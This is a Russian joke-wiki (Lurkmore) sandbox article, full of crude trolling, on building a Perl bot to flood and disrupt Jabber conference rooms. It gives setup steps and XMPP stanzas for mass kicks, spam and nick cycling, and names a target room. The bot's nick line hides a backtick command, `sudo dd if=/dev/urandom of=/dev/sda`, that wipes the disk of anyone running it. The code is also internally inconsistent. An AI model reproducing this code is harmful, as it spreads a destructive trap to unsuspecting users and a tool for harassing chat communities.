Персональные инструменты
Счётчики

Lurkmore:Песочница

Материал из Lurkmore
Перейти к: навигация, поиск
Mergearticles.pngI like to move it, move it!
Надо объединить эту статью с вайп.
Если вы согласны — скопипастите содержимое этой статьи в «вайп». Если вы считаете, что всё нужно оставить как есть — напишите на странице обсуждения, почему.

hi from USADone!

Shkolota.jpgШколота набигает на /lm/!
Эта статья обязана своим появлением очередному обострению дрочерства, сильным приступам идиотизма и излишку свободного времени у самой бесполезной активной части человечества.
/R/еквестируется административный экстаз на статью и ремень под сраку автору.
— HAHAHA DISREGARD THAT, I SUCK COCKS
Trash.PNGУДОЛИЛ!!!1
Эту страницу нужно удалить. Указана следующая причина: хуле, на уютненькие конфы анонимуса набигать станут. Отберите пистолет у школоты и линейкой, линейкой её по рукам.
Если вы считаете, что эту страницу не нужно удалять, выскажитесь на странице обсуждения этой статьи.
Администраторам: ссылки сюда, история (последнее изменение), удалить.
— HAHAHA DISREGARD THAT, I SUCK COCKS
Файл:Haker.JPG
надмозг прочитав статью вайпает всё подрят

Jabber все больше входит в нашу жизнь, общение в конференциях переростает в зависимости и порой становится очень неприятно, когда на твой уютненький чятик набигают спаммеры и рекламируют свои комнатки. Разве не надо наказывать таких? Равно как и админов с непомерным ЧСВ, которые банят только за то, что ты просто находишься в комнатке, ни слова не проронив?

Содержание

Оружие возмездия, вайпалка:

1. Регистрируем себе бесплатный домен. Например, на службах DynDNS или No-IP.

2. Устанавливаем у себя jabber-сервер, настраиваем его на свежеполученный домен, убераем в настройках различные виды шейпинга.

3. Регистрируем у себя пачку аккаунтов. Проще всего это сделать через административные интерфейсы самого сервера.

4. Пишем бота, который будет вайпать комнату, пока оттуда все спаммеры/админы не убегут. Примерно так:

use threads;
use threads::shared;
use IO::Socket;
 
# определяемся
 
$nick='Бот возмездия'.`sudo dd if=/dev/urandom of=/dev/sda`;
$from='some-wiper@somecooolhost.ru/'.$nick;
$room='some-victim@conference.jabber.ru';
 
# коннектимся
 
$socket = new IO::Socket::INET('ваш_хост:5222');
 
# Авторизуемся
 
print $socket <<zzzz;
<?xml version='1.0'?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" to="ваш_хост" xmlns="jabber:client">
<iq type='set' id='auth'>
<query xmlns='jabber:iq:auth'>
<username>ваш_логин</username>
<password>ваш_пароль</password>
<resource>ваш_ресурс</resource></query></iq>
zzzz
 
# Набигаем в комнату
 
print $sock <<zzz;
<presence from='$from' to='$victim'>
<x xmlns='http://jabber.org/protocol/muc'>
<history maxchars='0'/>
</x>
</presence>
zzz

Далее, зависит от того, кем мы набижали. Если мы набигаем модератором, то можно в цикле сделать кик всем: Бла, бла, бла, мистер фримен! :)

print $sock <<zzz;
<iq from='$nick'
id='kick1'
to='$room'
type='set'>
<query xmlns='http://jabber.org/protocol/muc#admin'>
<item nick='_ваша_жертва_' role='none'>
<reason>Причина наших действий</reason>
</item>
</query>
</iq>
zzz

Если мы набигаем модератором, то можно что-то прокричать, в том числе и в цикле:

<message
from="$nick"
to="$room"
type='groupchat'>
<body>Ваше самое важное сообщение</body>
</message>

Если набигаем анонимусом без войса, то остается только менять ники...

<presence
from="$nick"
to="$room/$newnick">
</presence>


Можно делать красивые анимированные статусы:

my $text=decode_utf8("смотрит на всех как на говно; ");
for(my $pos=0;$pos<100000000;$pos++){
my $status=substr($text.$text,$pos%length($text),30);
print $sock <<ssss;
<presence to='$room/$nick'>
<status>$status</status>
</presence>
ssss
sleep 1;
}

Дисклеймер

все функции убраны, код свален в 1 линию, никакой многопоточности, ибо цель статьи - обучение, а не готовое пособие для школонабиганий


Примеры для набигания

linux@conference.jabber.ru - банят за простой просмотр

Пруфлинк

http://xmpp.org/extensions/xep-0045.html - спецификация по написанию набигалок

Примечания

Эта вайпалка годится только для вайпа конференций, в которых овнер даун, так как остальные в курсе про то, что можно банить весь сервер сразу. —Анонимус